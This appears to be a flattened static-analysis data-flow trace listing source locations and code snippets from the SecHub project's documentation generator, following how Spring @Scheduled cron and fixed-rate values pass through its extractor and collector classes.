java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 19 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 20 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 21 + result + + 6 + + + 88 + return result; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 22 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 23 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 24 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 25 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 38 + 26 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 11 + 27 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 28 + 28 + startsWith + + 1 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 19 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 20 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 21 + result + + 6 + + + 88 + return result; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 22 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 23 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 24 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 25 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 38 + 26 + string + + 6 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 85 + 53 + 27 + endsWith + + 1 + + + 85 + return (string.startsWith("${") && string.endsWith("}")); + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 32 + 19 + cron + + 4 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 87 + 10 + 20 + scheduleDefinition + + 1 + + + 87 + result.scheduleDefinition = cron; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 88 + 11 + 21 + result + + 6 + + + 88 + return result; + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 44 + 22 + extractSimpleString + + 1 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 18 + 23 + data + + 4 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 67 + 45 + 24 + scheduleDefinition + + 1 + + + 67 + if (getValueExtractor().isSpringValue(data.scheduleDefinition)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 81 + 38 + 25 + string + + 6 + + + 81 + public boolean isSpringValue(String string) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 82 + 27 + 26 + string + + 6 + + + 82 + if (StringUtils.isEmpty(string)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringValueExtractor.java + 82 + 26 + 27 + isEmpty + + 1 + + + 82 + if (StringUtils.isEmpty(string)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 37 + 17 + cron + + 1 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 10 + 18 + cron + + 4 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 85 + 28 + 19 + cron + + 4 + + + 85 + if (!StringUtils.isEmpty(cron)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 85 + 27 + 20 + isEmpty + + 1 + + + 85 + if (!StringUtils.isEmpty(cron)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 17 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 18 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 19 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 20 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 21 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 36 + 22 + fixedRateString + + 15 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 4 + 23 + append + + 2 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 131 + 4 + 24 + sb + + 2 + + + 131 + sb.append("fixed rate:").append(fixedRateString).append(" "); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 18 + 25 + sb + + 2 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 29 + 26 + toString + + 1 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 36 + 27 + trim + + 1 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 98 + 10 + 28 + fixed + + 5 + + + 98 + String fixed = sb.toString().trim(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 100 + 27 + 29 + fixed + + 5 + + + 100 + if (StringUtils.isEmpty(fixed)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 100 + 26 + 30 + isEmpty + + 1 + + + 100 + if (StringUtils.isEmpty(fixed)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 17 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 18 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 19 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 20 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 21 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 130 + 28 + 22 + fixedRateString + + 15 + + + 130 + if (!StringUtils.isEmpty(fixedRateString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 130 + 27 + 23 + isEmpty + + 1 + + + 130 + if (!StringUtils.isEmpty(fixedRateString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 27 + 10 + list + + 4 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 30 + 23 + 11 + list + + 4 + + + 30 + if (list == null || list.isEmpty()) { + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 39 + 68 + 12 + springScheduled + + 1 + + + 39 + SpringSchedule extracted = springScheduledExtractor.extract(data.springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 65 + 42 + 13 + springScheduled + + 15 + + + 65 + public SpringSchedule extract(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 66 + 45 + 14 + springScheduled + + 15 + + + 66 + SpringSchedule data = extractSimpleString(springScheduled); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 76 + 55 + 15 + springScheduled + + 15 + + + 76 + private SpringSchedule extractSimpleString(Scheduled springScheduled) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 84 + 17 + 16 + springScheduled + + 15 + + + 84 + String cron = springScheduled.cron(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 96 + 19 + 17 + springScheduled + + 15 + + + 96 + appendFixedRate(springScheduled, sb); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 122 + 41 + 18 + springScheduled + + 15 + + + 122 + private void appendFixedRate(Scheduled springScheduled, StringBuilder sb) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 28 + 19 + springScheduled + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 59 + 20 + fixedRateString + + 1 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 123 + 10 + 21 + fixedRateString + + 15 + + + 123 + String fixedRateString = springScheduled.fixedRateString(); + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 124 + 27 + 22 + fixedRateString + + 15 + + + 124 + if (StringUtils.isEmpty(fixedRateString)) { + + + + + java/com/daimler/sechub/docgen/spring/SpringScheduleExtractor.java + 124 + 26 + 23 + isEmpty + + 1 + + + 124 + if (StringUtils.isEmpty(fixedRateString)) { + + + + + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 58 + 1 + toLowerCase + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 31 + 8 + 2 + scope + + 1 + + + 31 + data.scope=toCamelOne(fetchClass(element)).toLowerCase(); + + + + + java/com/daimler/sechub/docgen/util/DocGeneratorUtil.java + 33 + 10 + 3 + data + + 4 + + + 33 + return data; + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 74 + 4 + buildDataForMustBeDocumented + + 1 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 69 + 22 + 5 + data + + 4 + + + 69 + DocAnnotationData data = DocGeneratorUtil.buildDataForMustBeDocumented(info,field); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 71 + 12 + 6 + add + + 1 + + + 71 + list.add(data); + + + + + java/com/daimler/sechub/docgen/MustBeDocumentedDataCollector.java + 74 + 10 + 7 + list + + 4 + + + 74 + return list; + + + + + java/com/daimler/sechub/docgen/util/ClasspathDataCollector.java + 46 + 47 + 8 + collect + + 1 + + + 46 + return mustbeDocumentedDataCollector.collect(); + + + + + java/com/daimler/sechub/docgen/spring/ScheduleDescriptionGenerator.java + 29 + 68 + 9 + fetchMustBeDocumentParts + + 1 + + + 29 + List<DocAnnotationData> list = collector.fetchMustBeDocumentParts(); + + + + + 